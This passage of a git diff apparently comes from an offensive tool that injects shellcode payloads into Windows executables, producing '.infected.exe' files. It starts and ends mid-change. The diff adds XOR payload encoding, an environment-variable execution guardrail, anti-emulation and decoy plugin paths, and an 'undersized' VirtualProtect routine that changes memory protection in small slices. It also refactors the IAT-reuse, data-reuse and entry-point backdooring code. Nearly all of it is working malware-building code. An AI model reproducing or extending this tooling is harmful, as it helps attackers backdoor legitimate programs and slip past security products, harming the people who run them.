+ while (str1[i] != L'\0' && str2[i] != L'\0') {
+ if (str1[i] != str2[i]) {
+ return 1;
+ }
+ i++;
+ }
+ return 0;
+}
+
+
+int executionguardrail() {
+ // Execution Guardrail: Env Check
+ wchar_t envVarName[] = L"USERPROFILE";
+ wchar_t tocheck[] = L"{{guardrail_data}}";
+ WCHAR buffer[1024]; // NOTE: Do not make it bigger, or we have a __chkstack() dependency!
+ DWORD result = GetEnvironmentVariableW(envVarName, buffer, 1024);
+ if (result == 0) {
+ return 6;
+ }
+ if (mystrcmp(buffer, tocheck) != 0) {
+ return 6;
+ }
+ return 0;
+}
+
diff --git a/data/source/guardrails/none.c b/data/source/guardrails/none.c
new file mode 100644
index 0000000..fcd3621
--- /dev/null
+++ b/data/source/guardrails/none.c
@@ -0,0 +1,4 @@
+int executionguardrail() {
+ // None
+ return 0; // All OK
+}
\ No newline at end of file
diff --git a/data/source/virtualprotect/standard.c b/data/source/virtualprotect/standard.c
new file mode 100644
index 0000000..09602ce
--- /dev/null
+++ b/data/source/virtualprotect/standard.c
@@ -0,0 +1,9 @@
+
+BOOL MyVirtualProtect(
+ LPVOID lpAddress,
+ SIZE_T dwSize,
+ DWORD flNewProtect,
+ PDWORD lpflOldprotect
+) {
+ return VirtualProtect(lpAddress, dwSize, flNewProtect, lpflOldprotect);
+}
diff --git a/data/source/virtualprotect/undersized.c b/data/source/virtualprotect/undersized.c
new file mode 100644
index 0000000..b50f8bf
--- /dev/null
+++ b/data/source/virtualprotect/undersized.c
@@ -0,0 +1,19 @@
+
+// How many bytes we VirtualProtect
+#define VP_SIZE 16
+
+BOOL MyVirtualProtect(
+ LPVOID lpAddress,
+ SIZE_T dwSize,
+ DWORD flNewProtect,
+ PDWORD lpflOldprotect
+) {
+ char *dest = (char *)lpAddress;
+
+ for(int n=0; n<(dwSize/4096)+1; n++) {
+ if (VirtualProtect(dest + (n * 4096), VP_SIZE, flNewProtect, lpflOldprotect) == 0) {
+ return FALSE;
+ }
+ }
+ return TRUE;
+}
diff --git a/helper.py b/helper.py
index abcec80..b007fb2 100644
--- a/helper.py
+++ b/helper.py
@@ -136,24 +136,6 @@ def file_to_lf(filename):
f.write(data)
-def find_first_utf16_string_offset(data, min_len=8):
- current_string = bytearray()
- start_offset = None # To keep track of the start of the current string
- for i in range(0, len(data) - 1, 2):
- # Check if we have a valid character
- if data[i] != 0 or data[i+1] != 0:
- if start_offset is None: # Mark the start of a new string
- start_offset = i
- current_string += bytes([data[i], data[i+1]])
- else:
- if len(current_string) >= min_len * 2: # Check if the current string meets the minimum length
- return start_offset # Return the offset where the string starts
- current_string = bytearray()
- start_offset = None # Reset start offset for the next string
-
- return None # No string found that meets the criteria
-
-
def round_up_to_multiple_of_8(x):
return math.ceil(x / 8) * 8
@@ -169,6 +151,7 @@ def ui_string_decode(data):
except Exception as e:
logger.warning("ui_string_decode: {}".format(e))
+
def ascii_to_hex_bytes(ascii_bytes):
hex_escaped = ''.join(f'\\x{byte:02x}' for byte in ascii_bytes)
return hex_escaped
diff --git a/model/defs.py b/model/defs.py
index 28c56cc..44f3af7 100644
--- a/model/defs.py
+++ b/model/defs.py
@@ -13,27 +13,25 @@ PATH_EXES_MORE = "data/binary/exes_more/"
PATH_SHELLCODES = "data/binary/shellcodes/"
PATH_CARRIER = "data/source/carrier/"
PATH_PAYLOAD = "data/source/payload/"
-PATH_DECODER = "data/source/carrier/decoder/"
+
+PATH_DECODER = "data/source/decoder/"
+PATH_ANTIEMULATION = "data/source/antiemulation/"
+PATH_DECOY = "data/source/decoy/"
+PATH_GUARDRAILS = "data/source/guardrails/"
+PATH_VIRTUALPROTECT = "data/source/virtualprotect/"
PATH_WEB_PROJECT = "projects/"
-# Correlated with real template files
-# in data/plugins/
-class DecoderStyle(Enum):
- PLAIN_1 = "plain_1"
- XOR_1 = "xor_1"
- XOR_2 = "xor_2"
-
class PayloadLocation(Enum):
- CODE = "code"
- DATA = "data"
+ CODE = ".text"
+ DATA = ".rdata"
class CarrierInvokeStyle(Enum):
ChangeEntryPoint = "change EntryPoint"
- BackdoorCallInstr = "hijack Main"
+ BackdoorCallInstr = "backdoor Entrypoint"
class FunctionInvokeStyle(Enum):
diff --git a/model/carrier.py b/model/injectable.py
similarity index 61%
rename from model/carrier.py
rename to model/injectable.py
index a6df363..7b68881 100644
--- a/model/carrier.py
+++ b/model/injectable.py
@@ -6,37 +6,65 @@ from model.defs import *
from pe.superpe import SuperPe, PeSection
-logger = logging.getLogger("Carrier")
+logger = logging.getLogger("Injectable")
class IatRequest():
def __init__(self, name: str, placeholder: bytes):
self.name: str = name # Function Name, like "VirtualAlloc"
- self.placeholder: bytes = placeholder # Random bytes as placeholder
+ self.references: List[bytes] = []
+ self.add_reference(placeholder)
+
+ def add_reference(self, placeholder):
+ self.references.append(placeholder)
+
+
+class DataReuseReference():
+ def __init__(self, placeholder: bytes, register: str):
+ self.placeholder: bytes = placeholder
+ self.register: str = register
class DataReuseEntry():
- def __init__(self, string_ref: str):
+ def __init__(self, string_ref: str, in_code: bool = False):
self.string_ref: str = string_ref # "$SG72513"
+ self.data: bytes = b'' # the content/data
+ self.addr: int = 0 # where content/data is stored
+ self.in_code: bool = in_code # is the data in code section
- self.register: str = "" # "rcx"
- self.randbytes: bytes = b"" # placeholder
- self.data: bytes = b''
- self.addr: int = 0
+ self.references: List[DataReuseReference] = []
-class Carrier():
+ def add_reference(self, placeholder, register):
+ self.references.append(DataReuseReference(placeholder, register))
+
+
+class Injectable():
def __init__(self, exe_file: str):
self.iat_requests: List[IatRequest] = []
self.reusedata_fixups: List[DataReuseEntry] = []
self.exe_filepath: str = exe_file
self.superpe: SuperPe = None
-
def init(self):
self.superpe = SuperPe(self.exe_filepath)
+ # IAT
+
+ def add_iat_request(self, func_name: str, placeholder: bytes):
+ # existing?
+ for iat in self.iat_requests:
+ if iat.name == func_name:
+ iat.add_reference(placeholder)
+ return
+
+ # new
+ self.iat_requests.append(IatRequest(func_name, placeholder))
+
+ def get_all_iat_requests(self) -> List[IatRequest]:
+ return self.iat_requests
+
def get_unresolved_iat(self):
"""Returns a list of IAT entries not available in the PE file"""
functions = []
@@ -46,15 +74,6 @@ class Carrier():
return functions
- # IAT
-
- def add_iat_request(self, func_name: str, placeholder: bytes):
- self.iat_requests.append(IatRequest(func_name, placeholder))
-
- def get_all_iat_requests(self) -> List[IatRequest]:
- return self.iat_requests
-
-
# Data Reuse
def add_datareuse_fixup(self, fixup: DataReuseEntry):
diff --git a/model/payload.py b/model/payload.py
index a8d7f76..d4252f4 100644
--- a/model/payload.py
+++ b/model/payload.py
@@ -10,12 +10,10 @@ class Payload():
def __init__(self, filepath: FilePath):
self.payload_path: FilePath = filepath
self.payload_data: bytes = b""
- self.len: int = 0
def init(self):
logging.info("--( Load payload: {}".format(self.payload_path))
with open(self.payload_path, 'rb') as f:
self.payload_data = f.read()
- self.len = len(self.payload_data)
diff --git a/model/project.py b/model/project.py
index d2418c4..044ec27 100644
--- a/model/project.py
+++ b/model/project.py
@@ -4,7 +4,7 @@ import shutil
from model.defs import *
from model.payload import Payload
from model.settings import Settings
-from model.carrier import Carrier
+from model.injectable import Injectable
logger = logging.getLogger("Project")
@@ -22,7 +22,7 @@ class Project():
self.comment: str = ""
self.settings: Settings = settings
self.payload: Payload = Payload(self.settings.payload_path)
- self.carrier: Carrier = Carrier(self.settings.inject_exe_in)
+ self.injectable: Injectable = Injectable(self.settings.inject_exe_in)
self.project_dir: str = ""
self.project_exe: str = ""
@@ -30,7 +30,7 @@ class Project():
def init(self):
self.payload.init()
- self.carrier.init()
+ self.injectable.init()
def prepare_project(project_name, settings):
diff --git a/model/rangemanager.py b/model/rangemanager.py
index 6e8febd..821e32f 100644
--- a/model/rangemanager.py
+++ b/model/rangemanager.py
@@ -11,15 +11,18 @@ class RangeManager:
self.min = min
self.max = max
+ if min > 0:
+ self.intervals.add(Interval(0, min))
+
def merge_overlaps(self):
self.intervals.merge_overlaps(strict=False)
def print_all(self):
- logger.info("Min: {} Max: {}".format(self.min, self.max))
+ print("Min: {} Max: {}".format(self.min, self.max))
for i in self.intervals:
- logger.info("Interval: {}-{}".format(i.begin, i.end))
+ print("Interval: {}-{}".format(i.begin, i.end))
def add_range(self, start, end):
diff --git a/model/settings.py b/model/settings.py
index a9af17d..6203313 100644
--- a/model/settings.py
+++ b/model/settings.py
@@ -11,9 +11,16 @@ class Settings():
# Settings
self.carrier_name: str = ""
- self.decoder_style: DecoderStyle = DecoderStyle.XOR_1
+ self.decoder_style: str = "xor_2"
self.short_call_patching: bool = False
+ self.plugin_antiemulation = "none"
+ self.plugin_decoy = "none"
+ self.plugin_guardrail = "none"
+ self.plugin_guardrail_data = "C:\\Users\\"
+ self.plugin_virtualprotect = "standard"
+ self.plugin_virtualprotect_data = ""
+
self.dllfunc: str = "" # For DLL injection
# Injectable
@@ -31,7 +38,7 @@ class Settings():
self.generate_shc_from_asm: bool = True
# More
- self.fix_missing_iat = False
+ self.fix_missing_iat = True
self.payload_location = PayloadLocation.DATA
# directories and filenames
@@ -42,3 +49,19 @@ class Settings():
self.main_shc_path = self.main_dir + "main.bin"
self.inject_exe_out = "{}{}".format(
self.main_dir, os.path.basename(self.inject_exe_in).replace(".exe", ".infected.exe"))
+
+ def init_payload_injectable(self, shellcode, injectable, dll_func):
+ self.payload_path = PATH_SHELLCODES + shellcode
+ if shellcode == "createfile.bin":
+ self.verify = True
+ self.try_start_final_infected_exe = False
+ else:
+ self.cleanup_files_on_exit = False
+
+ self.inject_exe_in = injectable
+ self.inject_exe_out = "{}{}".format(
+ self.main_dir,
+ os.path.basename(self.inject_exe_in).replace(".exe", ".infected.exe")
+ )
+
+ self.dllfunc = dll_func
\ No newline at end of file
diff --git a/pe/derbackdoorer.py b/pe/derbackdoorer.py
index e52cc87..c29eab8 100644
--- a/pe/derbackdoorer.py
+++ b/pe/derbackdoorer.py
@@ -32,7 +32,7 @@ class FunctionBackdoorer:
def backdoor_function(self, function_addr: int, shellcode_addr: int, shellcode_len: int):
- logger.info("Backdooring function at 0x{:X} (jump to shellcode at 0x{:X})".format(function_addr, shellcode_addr))
+ logger.info("--[ Backdooring exe function at 0x{:X} with jump to carrier at 0x{:X}".format(function_addr, shellcode_addr))
addr = self.find_suitable_instruction_addr(function_addr)
if addr is None:
@@ -64,7 +64,7 @@ class FunctionBackdoorer:
def find_suitable_instruction_addr(self, startOffset, length=256):
"""Find a instruction to backdoor. Recursively."""
- logger.info("find suitable instruction to hijack starting from 0x{:X} len:{} depthopt:{}".format(
+ logger.info("---[ find suitable instruction to hijack starting from 0x{:X} len:{} depthopt:{}".format(
startOffset, length, self.depth_option))
if self.depth_option == DEPTH_OPTIONS.LEVEL1:
diff --git a/pe/pehelper.py b/pe/pehelper.py
index 7f11ca8..ff8df78 100644
--- a/pe/pehelper.py
+++ b/pe/pehelper.py
@@ -11,6 +11,26 @@ logger = logging.getLogger("PEHelper")
# Its mostly used for verification of what we were doing.
+# PRE-LOAD a dll file into memory
+# This will load the DLL file into a memory buffer, already
+# loaded at the correct RVA addresses (e.g. sections page aligned).
+def preload_dll(payload_path: str) -> bytes:
+ dllPe = pefile.PE(payload_path)
+ dllImageSize = dllPe.OPTIONAL_HEADER.SizeOfImage
+ payload: bytearray = bytearray(dllImageSize)
+
+ # copy PE header sizeofheaders
+ payload[:dllPe.OPTIONAL_HEADER.SizeOfHeaders] = dllPe.get_data()[:dllPe.OPTIONAL_HEADER.SizeOfHeaders]
+
+ # copy sections
+ for section in dllPe.sections:
+ if section.SizeOfRawData == 0:
+ continue
+ payload[section.VirtualAddress:section.VirtualAddress + section.SizeOfRawData] = section.get_data()
+
+ return bytes(payload)
+
+
def extract_code_from_exe_file_ep(exe_file: FilePath, len: int) -> bytes:
pe = pefile.PE(exe_file)
section = get_code_section(pe)
@@ -69,3 +89,11 @@ def remove_trailing_null_bytes(data: bytes) -> bytes:
if data[i] != b'\x00'[0]: # Check for a non-null byte
return data[:i + 1]
return b'' # If the entire sequence is null bytes
+
+
+def align_to_page_size(rva, offset, page_size=4096):
+ # Align to the nearest lower page boundary
+ aligned_address = rva & ~(page_size - 1)
+ real_address = aligned_address - offset
+ logger.debug(" Aligning: 0x{:X} to 0x{:X}".format(aligned_address, real_address))
+ return real_address
\ No newline at end of file
diff --git a/pe/superpe.py b/pe/superpe.py
index 5c11757..d25e5d6 100644
--- a/pe/superpe.py
+++ b/pe/superpe.py
@@ -43,6 +43,7 @@ class SuperPe():
self.iat_entries: Dict[str, IatEntry] = {}
self.init_iat_entries()
+
def init_iat_entries(self):
self.pe.parse_data_directories()
self.make_iat_entries()
@@ -164,72 +165,6 @@ class SuperPe():
return base_relocs
- def getSectionIndexByDataDir(self, dirIndex):
- addr = self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[dirIndex].VirtualAddress
-
- i = 0
- for sect in self.pe.sections:
- if addr >= sect.VirtualAddress and addr < (sect.VirtualAddress + sect.Misc_VirtualSize):
- return i
- i += 1
-
- logger.error(f'Could not find section with directory index {dirIndex}!')
- return -1
-
-
- def getRemainingRelocsDirectorySize(self):
- relocsIndex = self.getSectionIndexByDataDir(SuperPe.IMAGE_DIRECTORY_ENTRY_BASERELOC)
- out = self.pe.sections[relocsIndex].SizeOfRawData - self.pe.sections[relocsIndex].Misc_VirtualSize
- return out
-
-
- def addImageBaseRelocations(self, pageRva, relocs):
- assert pageRva > 0
-
- if not self.pe.has_relocs():
- logger.error("No .reloc section")
- raise(Exception("No .reloc section"))
-
- if self.is_64():
- imageBaseRelocType = SuperPe.IMAGE_REL_BASED_DIR64
- else:
- # Not really used
- imageBaseRelocType = SuperPe.IMAGE_REL_BASED_HIGHLOW
-
- relocsSize = self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[SuperPe.IMAGE_DIRECTORY_ENTRY_BASERELOC].Size
- relocsIndex = self.getSectionIndexByDataDir(SuperPe.IMAGE_DIRECTORY_ENTRY_BASERELOC)
- addr = self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[SuperPe.IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress
- sizeOfReloc = 2 * len(relocs) + 2 * 4
-
- if sizeOfReloc >= self.getRemainingRelocsDirectorySize():
- self.logger.warning('WARNING! Cannot add any more relocations to this file. Probably TLS Callback execution technique wont work.')
- self.logger.warning(' Will try disabling relocations on output file. Expect corrupted executable though!')
-
- self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[SuperPe.IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress = 0
- self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[SuperPe.IMAGE_DIRECTORY_ENTRY_BASERELOC].Size = 0
- return
-
- relocDirRva = self.pe.sections[relocsIndex].VirtualAddress
- self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[SuperPe.IMAGE_DIRECTORY_ENTRY_BASERELOC].Size += sizeOfReloc
-
- # VirtualAddress
- self.pe.set_dword_at_rva(addr + relocsSize, pageRva)
-
- # SizeOfBlock
- self.pe.set_dword_at_rva(addr + relocsSize + 4, sizeOfReloc)
-
- logger.info(f'Adding {len(relocs)} relocations for Page RVA 0x{pageRva:X} - size of block: 0x{sizeOfReloc:X}')
- i = 0
- for reloc in relocs:
- reloc_offset = (reloc - pageRva)
- reloc_type = imageBaseRelocType << 12
-
- relocWord = (reloc_type | reloc_offset)
- self.pe.set_word_at_rva(relocDirRva + relocsSize + 8 + i * 2, relocWord)
- logger.info(f'\tReloc{i} for addr 0x{reloc:X}: 0x{relocWord:X} - 0x{reloc_offset:X} - type: {imageBaseRelocType}')
- i += 1
-
-
def getExportEntryPoint(self, exportName: str):
dec = lambda x: '???' if x is None else x.decode()
d = [pefile.DIRECTORY_ENTRY["IMAGE_DIRECTORY_ENTRY_EXPORT"]]
@@ -300,34 +235,7 @@ class SuperPe():
if exp["name"] == dllfunc:
return exp["size"]
return None
-
-
- ## Relocations
-
- def get_rdata_relocmanager(self) -> RangeManager:
- section = self.get_section_by_name(".rdata")
- relocs = self.get_relocations_for_section(".rdata")
- rm = RangeManager(section.virt_addr, section.virt_addr + section.virt_size)
- for reloc in relocs:
- # Reloc destination is probably 8 bytes
- # But i add another 8 to skip over small holes (common in .rdata)
- rm.add_range(reloc.rva, reloc.rva + 8 + 8)
- rm.merge_overlaps()
- return rm
-
-
- def get_relocations_for_section(self, section_name: str) -> List[PeRelocEntry]:
- section: PeSection = self.get_section_by_name(section_name)
- ret = []
- if section is None:
- return ret
- for reloc in self.get_base_relocs():
- reloc_addr = reloc.rva
- if reloc_addr >= section.virt_addr and reloc_addr < section.virt_addr + section.virt_size:
- #logger.info("ADDR: 0x{:X}".format(reloc_addr))
- ret.append(reloc)
- return ret
-
+
## IAT
@@ -414,6 +322,66 @@ class SuperPe():
offset, func_name, new_name_bytes.decode()))
self.pe.set_bytes_at_offset(offset, new_name_bytes)
+ ## .rdata manager
+ def get_rdata_rangemanager(self) -> RangeManager:
+ section = self.get_section_by_name(".rdata")
+ relocs = self.get_relocations_for_section(".rdata")
+ rm = RangeManager(section.virt_addr, section.virt_addr + section.virt_size)
+ for reloc in relocs:
+ # Reloc destination is probably 8 bytes
+ # But i add another 8 to skip over small holes (common in .rdata)
+ rm.add_range(reloc.rva, reloc.rva + 8 + 8)
+
+ if True: # FIXME this is a hack which is sometimes necessary?
+ sect_data_copy = section.pefile_section.get_data()
+ string_off = find_first_utf16_string_offset(sect_data_copy)
+ if string_off == None:
+ raise Exception("Strings not found in .rdata section, abort")
+ if string_off < 128:
+ logging.debug("weird: Strings in .rdata section at offset {} < 100".format(string_off))
+ string_off = 128
+ rm.add_range(section.virt_addr, section.virt_addr + string_off)
+
+ rm.merge_overlaps()
+ return rm
+
+
+ def get_relocations_for_section(self, section_name: str) -> List[PeRelocEntry]:
+ section: PeSection = self.get_section_by_name(section_name)
+ ret = []
+ if section is None:
+ return ret
+ for reloc in self.get_base_relocs():
+ reloc_addr = reloc.rva
+ if reloc_addr >= section.virt_addr and reloc_addr < section.virt_addr + section.virt_size:
+ #logger.info("ADDR: 0x{:X}".format(reloc_addr))
+ ret.append(reloc)
+ return ret
+
+
+ def get_code_rangemanager(self) -> RangeManager:
+ code_section = self.get_code_section()
+ if code_section == None:
+ raise Exception('Could not find code section in input PE file!')
+ code_section_size = code_section.Misc_VirtualSize
+
+ # Restrictions for putting data into .text:
+ # - enough space for carrier + payload
+ # - avoid overwriting entry point function
+ # - carrier should not generate much smaller holes in .text
+
+ rm = RangeManager(
+ code_section.VirtualAddress,
+ code_section.VirtualAddress + code_section_size)
+
+ # protect entrypoint a bit
+ entrypoint_rva = self.get_entrypoint()
+ rm.add_range(
+ entrypoint_rva - 0x100,
+ entrypoint_rva + 0x100)
+
+ return rm
+
## Helpers
@@ -444,3 +412,22 @@ class SuperPe():
self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[SuperPe.IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress = 0
self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[SuperPe.IMAGE_DIRECTORY_ENTRY_SECURITY].Size = 0
+
+
+
+def find_first_utf16_string_offset(data, min_len=8):
+ current_string = bytearray()
+ start_offset = None # To keep track of the start of the current string
+ for i in range(0, len(data) - 1, 2):
+ # Check if we have a valid character
+ if data[i] != 0 or data[i+1] != 0:
+ if start_offset is None: # Mark the start of a new string
+ start_offset = i
+ current_string += bytes([data[i], data[i+1]])
+ else:
+ if len(current_string) >= min_len * 2: # Check if the current string meets the minimum length
+ return start_offset # Return the offset where the string starts
+ current_string = bytearray()
+ start_offset = None # Reset start offset for the next string
+
+ return None # No string found that meets the criteria
\ No newline at end of file
diff --git a/phases/asmtextparser.py b/phases/asmtextparser.py
index a3ca0a2..5a4c485 100644
--- a/phases/asmtextparser.py
+++ b/phases/asmtextparser.py
@@ -2,13 +2,13 @@ import os
from typing import List, Dict
from helper import *
-from model.carrier import Carrier, DataReuseEntry, IatRequest
+from model.injectable import Injectable, DataReuseEntry, IatRequest
from model.settings import Settings
logger = logging.getLogger("AsmTextParser")
-def parse_asm_text_file(carrier: Carrier, asm_text: str, settings: Settings) -> List[str]:
+def parse_asm_text_file(injectable: Injectable, asm_text: str, settings: Settings) -> List[str]:
lines_out = []
lines = asm_text.split("\n")
@@ -55,53 +55,25 @@ def parse_asm_text_file(carrier: Carrier, asm_text: str, settings: Settings) ->
continue
# PATCH external shellcode reference
- if settings.payload_location == PayloadLocation.CODE:
- ## mov rdi, QWORD PTR supermega_payload
- ## to
- ## lea rdi, [shcstart] ; get payload shellcode address
- if "supermega_payload" in line:
- updated_line = line
- updated_line = updated_line.replace(
- "mov ",
- "lea "
- )
- updated_line = updated_line.replace(
- "QWORD PTR supermega_payload",
- "[shcstart] ; get payload shellcode address"
- )
- lines_out.append(updated_line)
- continue
- elif settings.payload_location == PayloadLocation.DATA:
- ## mov rdi, QWORD PTR supermega_payload
- ## to
- ## lea rdi, XXX
- if "supermega_payload" in line:
- randbytes: bytes = os.urandom(7) # LEA is 7 bytes
- string_ref = "supermega_payload"
+ ## mov rdi, QWORD PTR supermega_payload
+ ## to
+ ## lea rdi, XXX
+ if "supermega_payload" in line:
+ string_ref = "supermega_payload"
- datareuse_fixup = carrier.get_reusedata_fixup(string_ref)
- if datareuse_fixup == None:
- raise Exception("Data reuse entry not found: {}".format(string_ref))
- register = line.split("mov\t")[1].split(",")[0]
+ # should already exist (added before)
+ datareuse_fixup = injectable.get_reusedata_fixup(string_ref)
+ if datareuse_fixup == None:
+ raise Exception("Data reuse entry not found: {}".format(string_ref))
- datareuse_fixup.register = register
- datareuse_fixup.randbytes = randbytes
+ # add a reference
+ placeholder: bytes = os.urandom(7) # LEA is 7 bytes
+ register = line.split("mov\t")[1].split(",")[0]
+ datareuse_fixup.add_reference(placeholder, register)
- line = bytes_to_asm_db(randbytes) + " ; .rdata Payload".format()
- lines_out.append(line)
- continue
- else:
- raise Exception("Unknown payload location: {}".format(settings.payload_location))
-
- # ADD label at end of code
- # we cant reliably identify in which function, so we just add it at the end
- ## get_time_raw ENDP
- ## -> add here
- ## _TEXT ENDS
- ## END
- if line_idx > len(lines) - 5 and tokens[1] == "ENDP":
+ # add lines
+ line = bytes_to_asm_db(placeholder) + " ; supermega_payload Payload".format()
lines_out.append(line)
- lines_out.append("shcstart: ; start of payload shellcode")
continue
# COLLECT AND PATCH all functions that need to be resolved in loader shellcode
@@ -112,9 +84,10 @@ def parse_asm_text_file(carrier: Carrier, asm_text: str, settings: Settings) ->
if "QWORD PTR __imp_" in line:
# just the function name, without __imp_
func_name = line[line.find("__imp_")+6:].rstrip()
- randbytes: bytes = os.urandom(6) # exact size or the result
- carrier.add_iat_request(func_name, randbytes)
- new_line = bytes_to_asm_db(randbytes) + " ; IAT Reuse for {}".format(func_name)
+ placeholder: bytes = os.urandom(6) # exact size or the result
+ injectable.add_iat_request(func_name, placeholder)
+
+ new_line = bytes_to_asm_db(placeholder) + " ; IAT Reuse for {}".format(func_name)
lines_out.append(new_line)
continue
@@ -125,7 +98,7 @@ def parse_asm_text_file(carrier: Carrier, asm_text: str, settings: Settings) ->
if line.startswith("$SG"):
# fuck me. if we start a new definition, and have an old one, add the old one...
if current_datareuse_entry != None:
- carrier.add_datareuse_fixup(current_datareuse_entry)
+ injectable.add_datareuse_fixup(current_datareuse_entry)
current_datareuse_entry = None # reset it here
var_name = tokens[0]
@@ -142,7 +115,7 @@ def parse_asm_text_file(carrier: Carrier, asm_text: str, settings: Settings) ->
continue
if current_datareuse_entry != None:
# when we reach here, $SG with its DB should be done.
- carrier.add_datareuse_fixup(current_datareuse_entry)
+ injectable.add_datareuse_fixup(current_datareuse_entry)
current_datareuse_entry = None # reset it here
# PATCH data reuse code (data from C)
@@ -152,17 +125,15 @@ def parse_asm_text_file(carrier: Carrier, asm_text: str, settings: Settings) ->
## DB 07cH, 04cH, 028H, 0b0H, 006H, 07eH ; IAT Reuse for GetEnvironmentVariableW
if "OFFSET FLAT:$SG" in line:
string_ref = line.split("OFFSET FLAT:")[1]
- register = line.split("lea\t")[1].split(",")[0]
- randbytes: bytes = os.urandom(7)
-
- datareuse_fixup = carrier.get_reusedata_fixup(string_ref)
+ datareuse_fixup = injectable.get_reusedata_fixup(string_ref)
if datareuse_fixup == None:
raise("Data reuse entry not found: {}".format(string_ref))
- datareuse_fixup.register = register
- datareuse_fixup.randbytes = randbytes
+ register = line.split("lea\t")[1].split(",")[0]
+ placeholder: bytes = os.urandom(7)
+ datareuse_fixup.add_reference(placeholder, register)
- line = bytes_to_asm_db(randbytes) + " ; .rdata Reuse for {} ({})".format(
+ line = bytes_to_asm_db(placeholder) + " ; .rdata Reuse for {} ({})".format(
string_ref, register)
lines_out.append(line)
continue
diff --git a/phases/assembler.py b/phases/assembler.py
index 06b10c2..3471a4d 100644
--- a/phases/assembler.py
+++ b/phases/assembler.py
@@ -11,7 +11,7 @@ logger = logging.getLogger("Assembler")
def asm_to_shellcode(asm_in: FilePath, build_exe: FilePath) -> bytes:
"""Takes ASM source file asm_in, compiles it into build_exe, extracts its code section and write into shellcode_out"""
- logger.info("--[ Assemble to exe: {} -> {}".format(asm_in, build_exe))
+ logger.info("-[ Assemble to exe: {} -> {}".format(asm_in, build_exe))
run_process_checkret([
config.get("path_ml64"),
asm_in,
@@ -25,33 +25,20 @@ def asm_to_shellcode(asm_in: FilePath, build_exe: FilePath) -> bytes:
return code
-def merge_loader_payload(
- shellcode_in: bytes,
- payload_data: bytes,
- decoder_style: DecoderStyle
-) -> bytes:
- payload_data = encode_payload(payload_data, decoder_style)
-
- logger.info("---[ Size: Carrier: {} and Payload: {} Sum: {} ".format(
- len(shellcode_in), len(payload_data), len(shellcode_in)+len(payload_data)))
-
- return shellcode_in + payload_data
-
-
-def encode_payload(payload: bytes, decoder_style: DecoderStyle) -> bytes:
- if decoder_style == DecoderStyle.PLAIN_1:
- return payload
- elif decoder_style == DecoderStyle.XOR_1:
+def encode_payload(payload: bytes, decoder_style: str) -> bytes:
+ if decoder_style == "plain":
+ return bytes(payload)
+ elif decoder_style == "xor_1":
xor_key = config.xor_key
logger.info("---[ XOR payload with key 0x{:X}".format(xor_key))
xored = bytes([byte ^ xor_key for byte in payload])
- return xored
- elif decoder_style == DecoderStyle.XOR_2:
+ return bytes(xored)
+ elif decoder_style == "xor_2":
xor_key = config.xor_key2
logger.info("---[ XOR2 payload with key {}".format(xor_key))
xored = bytearray(payload)
for i in range(len(xored)):
xored[i] ^= xor_key[i % 2]
- return xored
+ return bytes(xored)
else:
raise Exception("Unknown decoder style")
diff --git a/phases/compiler.py b/phases/compiler.py
index 0bea932..26964b1 100644
--- a/phases/compiler.py
+++ b/phases/compiler.py
@@ -9,7 +9,7 @@ from config import config
from observer import observer
from model import *
from phases.masmshc import masm_shc, Params
-from model.carrier import Carrier
+from model.injectable import Injectable
from phases.asmtextparser import parse_asm_text_file
from model.settings import Settings
@@ -22,7 +22,7 @@ def compile_dev(
asm_out: FilePath,
short_call_patching: bool = False,
):
- logger.info("--( Compile C to ASM: {} -> {} ".format(c_in, asm_out))
+ logger.info("-( Compile C to ASM: {} -> {} ".format(c_in, asm_out))
# Compile C To Assembly (text)
run_process_checkret([
@@ -51,10 +51,10 @@ def compile_dev(
def compile(
c_in: FilePath,
asm_out: FilePath,
- carrier: Carrier,
+ injectable: Injectable,
settings: Settings,
):
- logger.info("--[ Compile C to ASM: {} -> {} ".format(c_in, asm_out))
+ logger.info("-[ Compile C to ASM: {} -> {} ".format(c_in, asm_out))
# Compile C To Assembly (text)
run_process_checkret([
@@ -70,7 +70,7 @@ def compile(
asm_text = file_readall_text(asm_out)
observer.add_text_file("carrier_asm_orig", asm_text)
- asm_text_lines = parse_asm_text_file(carrier, asm_text, settings) # Fixup assembly file
+ asm_text_lines = parse_asm_text_file(injectable, asm_text, settings) # Fixup assembly file
asm_text = masm_shc(asm_text_lines) # Cleanup assembly file
observer.add_text_file("carrier_asm_final", asm_text)
diff --git a/phases/injector.py b/phases/injector.py
index a34f5cd..3f54408 100644
--- a/phases/injector.py
+++ b/phases/injector.py
@@ -4,236 +4,277 @@ import time
import logging
from typing import Dict, List
-from model.carrier import Carrier, DataReuseEntry
+from model.injectable import Injectable, DataReuseEntry, DataReuseReference
from pe.pehelper import *
from observer import observer
from pe.derbackdoorer import FunctionBackdoorer
-from pe.superpe import SuperPe
+from pe.superpe import SuperPe, PeSection
from model.project import Project
from model.settings import Settings
from pe.asmdisasm import *
from model.defs import *
+from model.payload import Payload
+from model.rangemanager import RangeManager
logger = logging.getLogger("Injector")
-def inject_exe(main_shc: bytes, settings: Settings, carrier: Carrier):
- exe_in = settings.inject_exe_in
- exe_out = settings.inject_exe_out
- carrier_invoke_style: CarrierInvokeStyle = settings.carrier_invoke_style
+class Injector():
+ def __init__(
+ self,
+ carrier_shc: bytes,
+ payload: Payload,
+ injectable: Injectable,
+ settings: Settings):
+ self.carrier_shc = carrier_shc
+ self.settings = settings
+ self.injectable = injectable
+ self.payload = payload
- logger.info("--[ Injecting: into {} -> {}".format(exe_in, exe_out))
+ # superpe is a representation of the exe file. We gonna modify it, and save it at the end.
+ # reuse from injectable
+ #self.superpe = SuperPe(settings.inject_exe_in)
+ self.superpe = injectable.superpe
+ self.function_backdoorer = FunctionBackdoorer(self.superpe)
- # CHECK if shellcode fits into the target code section
- shellcode_len = len(main_shc)
- code_sect_size = carrier.superpe.get_code_section().Misc_VirtualSize
- if shellcode_len + CODE_INJECT_SIZE_CHECK_ADD > code_sect_size:
- raise Exception("Error: Shellcode size {}+{} too big for target code section {}".format(
- shellcode_len, CODE_INJECT_SIZE_CHECK_ADD, code_sect_size
- ))
